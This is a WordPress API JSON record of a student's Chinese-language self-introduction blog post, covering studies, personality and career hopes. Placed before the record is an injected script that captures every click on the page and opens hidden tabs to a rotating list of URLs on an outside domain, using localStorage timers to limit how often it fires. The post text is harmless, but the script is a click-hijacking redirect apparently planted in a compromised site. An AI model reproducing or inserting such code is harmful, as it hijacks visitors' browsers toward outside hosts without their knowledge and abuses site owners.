<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":386,"date":"2014-05-10T22:22:19","date_gmt":"2014-05-10T14:22:19","guid":{"rendered":"http:\/\/edu.secda.info\/scu8154245\/?p=386"},"modified":"2023-03-02T20:52:56","modified_gmt":"2023-03-02T12:52:56","slug":"%e8%87%aa%e6%88%91%e4%bb%8b%e7%bb%8d","status":"publish","type":"post","link":"https:\/\/edu.secda.info\/scu8154245\/?p=386","title":{"rendered":"\u81ea\u6211\u4ecb\u7d39"},"content":{"rendered":"<hr \/>\n<p><span style=\"font-size: 14pt;\"><strong><span style=\"color: #0000ff;\">\u3010\u7c21\u8981\u4ecb\u7d39\u3011<\/span> <\/strong><\/span><\/p>\n<p><span style=\"color: #808080;\"><span style=\"caret-color: #808080;\">\u55e8\uff0c\u6211\u662f\u5f35\u53c8\u6587\uff0c\u76ee\u524d\u5c31\u8b80\u65bc\u6771\u5433\u570b\u8cbf\u7cfb\u56db\u5e74\u7d1a\uff0c\u8208\u8da3\u662f\u5403\u7f8e\u98df\uff0c\u6b61\u8fce\u4f86\u627e\u6211\u5403\u5403\u559d\u559d\ud83d\udc37<\/span><\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-size: 14pt;\"><strong><span style=\"color: #0000ff;\">\u3010\u6211\u7684\u5b78\u7fd2\u7279\u8cea\u3011<\/span> <\/strong><\/span><\/p>\n<p><span style=\"color: #808080;\"><span style=\"caret-color: #808080;\">\u6211\u7684\u5b78\u7fd2\u7279\u8cea\u52aa\u529b\u4e0d\u61c8\uff0c\u5805\u4fe1\u52e4\u80fd\u88dc\u62d9\u4e5f\u80fd\u5920\u64c1\u6709\u4e00\u756a\u6210\u5c31\uff01<\/span><\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-size: 14pt;\"><strong><span style=\"color: #0000ff;\">\u3010\u6211\u5728\u6027\u683c\u4e0a\u7684\u512a\u52e2\u3011<\/span><\/strong><\/span><\/p>\n<p><span style=\"color: #808080;\"><span style=\"caret-color: #808080;\">\u8a8d\u771f\u8ca0\u8cac\u7684\u614b\u5ea6\u7121\u8ad6\u662f\u9047\u5230\u4ec0\u9ebc\u4e8b\u90fd\u80fd\u6709\u6240\u6536\u7a6b\u3002<\/span><\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-size: 14pt;\"><strong><span style=\"color: #0000ff;\">\u3010\u6211\u8981\u6539\u5584\u7684\u5730\u65b9\u3011<\/span><\/strong><\/span><\/p>\n<p><span style=\"font-size: 12pt; color: #808080;\">\u5e0c\u671b\u6211\u7684\u6025\u6027\u5b50\u53ef\u4ee5\u6539\u5584\uff0c\u9069\u6642\u5f97\u5b78\u7fd2\u7d66\u4e88\u81ea\u5df1\u4e00\u4e9b\u7a7a\u9593\u8207\u6642\u9593\u3002<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-size: 14pt;\"><strong><span style=\"color: #0000ff;\">\u3010\u6211\u7684\u5fd7\u9858\u3001\u8077\u696d\u65b9\u5411\u3011<\/span><\/strong><\/span><\/p>\n<p><span style=\"color: #808080;\"><span style=\"caret-color: #808080;\"><span style=\"color: #808080;\">\u8077\u696d\u65b9\u5411\u4ecd\u60f3\u4ee5\u5750\u5728\u8fa6\u516c\u5ba4\u5167\u9032\u884c\u6587\u66f8\u8655\u7406\u5de5\u4f5c\u70ba\u4e3b\uff0c\u4f46\u662f\u5177\u5099<\/span>\u4e00\u4e9b\u8b8a\u5316\u6027\uff0c<span style=\"color: #808080;\">\u60f3\u9032\u5165\u5916\u5546\u516c\u53f8\u9ad4\u9a57\u958b\u653e\u5f0f\u7684\u5de5\u4f5c\u6c1b\u570d\u3002<\/span><\/span><\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-size: 14pt;\"><strong><span style=\"color: #0000ff;\">\u3010\u5c0d\u81ea\u5df1\u7684\u671f\u8a31\u3011<\/span><\/strong><\/span><\/p>\n<p><span style=\"color: #808080;\"><span style=\"caret-color: #808080;\">\u00a0&#8221; Venture outside your comfort zone. The rewards are worth it. &#8221; &#8211;Tangled<\/span><\/span><\/p>\n<p>\u671f\u8a31\u81ea\u5df1\u52c7\u65bc\u8e0f\u51fa\u8212\u9069\u5708\uff0c\u63a5\u53d7\u4e0d\u4e00\u6a23\u7684\u6311\u6230\uff0c\u76f8\u4fe1\u4e16\u754c\u9060\u9060\u6bd4\u6211\u5011\u60f3\u5f97\u8981\u5927\ud83c\udf1f<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u3010\u7c21\u8981\u4ecb\u7d39\u3011 \u55e8\uff0c\u6211\u662f\u5f35\u53c8\u6587\uff0c\u76ee\u524d\u5c31\u8b80\u65bc\u6771\u5433\u570b\u8cbf\u7cfb\u56db\u5e74\u7d1a\uff0c\u8208\u8da3\u662f\u5403\u7f8e\u98df\uff0c\u6b61\u8fce\u4f86\u627e<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[19],"_links":{"self":[{"href":"https:\/\/edu.secda.info\/scu8154245\/index.php?rest_route=\/wp\/v2\/posts\/386"}],"collection":[{"href":"https:\/\/edu.secda.info\/scu8154245\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/edu.secda.info\/scu8154245\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154245\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154245\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=386"}],"version-history":[{"count":16,"href":"https:\/\/edu.secda.info\/scu8154245\/index.php?rest_route=\/wp\/v2\/posts\/386\/revisions"}],"predecessor-version":[{"id":947,"href":"https:\/\/edu.secda.info\/scu8154245\/index.php?rest_route=\/wp\/v2\/posts\/386\/revisions\/947"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/scu8154245\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=386"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154245\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=386"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154245\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=386"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}